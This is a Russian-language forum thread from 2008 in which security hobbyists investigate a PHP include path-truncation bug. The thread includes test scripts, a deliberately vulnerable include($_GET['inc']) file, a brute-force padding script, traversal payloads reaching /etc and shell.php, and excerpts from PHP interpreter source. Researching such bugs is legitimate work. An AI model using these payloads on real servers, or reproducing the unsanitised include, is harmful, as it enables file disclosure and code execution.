HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 30.12.2008, 14:39
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает

В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
Цитата:
убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
Цитата:
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал


Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.


@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
Цитата:
include(./documents/../../../../../../../../../../../etc/shells.php)

Последний раз редактировалось [Raz0r]; 30.12.2008 в 14:42..
 
Ответить с цитированием

  #2  
Старый 30.12.2008, 19:48
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

Цитата:
Сообщение от [Raz0r]  
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.

у меня такого не наблюдалось ни на винде, ни на линуксе.
у меня вот:
PHP код:
<?php
$f
="aaaa.php".str_repeat('/',$argv[1]);
$z=getcwd();
$u=$f.'.fffffffff';
$v=$z.'/'.$f;
print 
strlen($v)."\n";
require(
$u);
?>
[test@localhost cli]$ ./php ./test.php 4047
без точки не работает.

Цитата:
Сообщение от [Raz0r]  
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

об этом уже писал
ты писал что папка должна существовать.
Цитата:
где existing_dir имя существующей папки
у меня выпоняется без этого условия.
 
Ответить с цитированием

  #3  
Старый 30.12.2008, 20:31
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

потом файл tsrm_virtual_cwd.c
функция virtual_file_ex:
Цитата:

free_path = path_copy = tsrm_strndup(path, path_length);

ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);
тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое.

файл tsrm_strtok_r.c
Цитата:
char *tsrm_strtok_r(char *s, const char *delim, char **last)
{
char *token;

if (s == NULL) {
s = *last;
}

while (*s && in_character_class(*s, delim)) {
s++;
}
if (!*s) {
return NULL;
}

token = s;

while (*s && !in_character_class(*s, delim)) {
s++;
}
if (!*s) {
*last = s;
} else {
*s = '\0';
*last = s + 1;
}
return token;
}
потом опять файл tsrm_virtual_cwd.c
функция virtual_file_ex:
и тут наверно и идет бага:
Цитата:
while (ptr) {
...

} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
...
memcpy(&state->cwd[state->cwd_length], ptr, ptr_length+1);
...
ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.'
остается конечно не понятно почему без точки в конце не пашет

Последний раз редактировалось ShAnKaR; 30.12.2008 в 20:49..
 
Ответить с цитированием

  #4  
Старый 30.12.2008, 21:38
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

в винде по идее еще должно проходить с нормальным слешем и обратным:
Цитата:
#ifdef TSRM_WIN32
#include <tchar.h>
#define tsrm_strtok_r(a,b,c) _tcstok((a),(b))
#define TOKENIZER_STRING "/\\"
проверил php 4.4.9:
файл streams.c функция _php_stream_fopen_with_path

Цитата:
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
/* If file does not exist continue */
if (VCWD_STAT(trypath, &sb) != 0) {
ptr = end;
continue;
}
VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?

Последний раз редактировалось ShAnKaR; 21.02.2009 в 17:29..
 
Ответить с цитированием

  #5  
Старый 01.01.2009, 17:51
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

вот на php 4 можно так тогда, да и на пятой тоже соответственно:
existing_dir/..//////////////////////// ... ///////////////////shell.php
окончание если есть обрежет по maxpathlen тогда
 
Ответить с цитированием

  #6  
Старый 30.12.2008, 14:48
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
С нами: 10326626

Репутация: 1617


По умолчанию

Вообщем написал скрипт для быстрой проверки.

Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php

Скрипт который запускаем (test.php)
PHP код:
<?php
$evilstr 
"";
$fp fopen("log.txt","a");
for (
$x=0;$x<=500;$x++){
    
$evilstr .= "<";
    
$content file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
    if (
preg_match("#(.*)bugworking(.*)#",$content,$matches)){
        echo 
"http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
        die (
"Bug working with $x added chars");
    }else{
         
fputs($fp$content."\r\n\r\n");
    }
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же

PHP код:
<?php
error_reporting
(E_ALL);
include(
$_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым

PHP код:
-bugworking
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.

Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4

но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.

PHP код:
<?php
error_reporting
(E_ALL);
include(
"Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!

Последний раз редактировалось SQLHACK; 30.12.2008 в 15:35..
 
Ответить с цитированием

  #7  
Старый 30.12.2008, 19:24
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Тоже потестил, вот результат :
Конфигурация:
WinXP 32 bit, PHP 5.2.4, Апач 2.2.4

Работает
Цифра это минимальное кол-во символов

"."-218
" "пробел - никакой реакции
"<"-218
">"-218

С абсолютным путём не пашет Пока тестил только в include

И обнаружился ещё один символ, с которым работает:
"+"-218
 
Ответить с цитированием

  #8  
Старый 30.12.2008, 19:31
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию

кароч:
файл plain_wrappers.c
функция _php_stream_fopen_with_path:
Цитата:
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
stream = php_stream_fopen_rel(trypath, mode, opened_path, options);
там же функция _php_stream_fopen (тоже что php_stream_fopen_rel)
Цитата:
if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
return NULL;
}
...
fopen(fname, ...
fname уже нормальный
дальше файл fopen-wrappers.c функция expand_filepath:
Цитата:
char cwd[MAXPATHLEN];
cwd[0] = '\0';

new_state.cwd = strdup(cwd);
new_state.cwd_length = strlen(cwd);

if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
free(new_state.cwd);
return NULL;
}

real_path = estrndup(new_state.cwd, new_state.cwd_length);
real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096;
ну что видно из этого идет везде сначала
xxx.php/////////..../////////////.txt
потом по MAXPATHLEN обрезается до
xxx.php/////////..../////////////.
дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.

Последний раз редактировалось ShAnKaR; 30.12.2008 в 19:52..
 
Ответить с цитированием

  #9  
Старый 30.12.2008, 15:21
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
С нами: 10762826

Репутация: 1348


По умолчанию

Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
 
Ответить с цитированием

  #10  
Старый 30.12.2008, 15:56
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

копать сорцы пшп?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.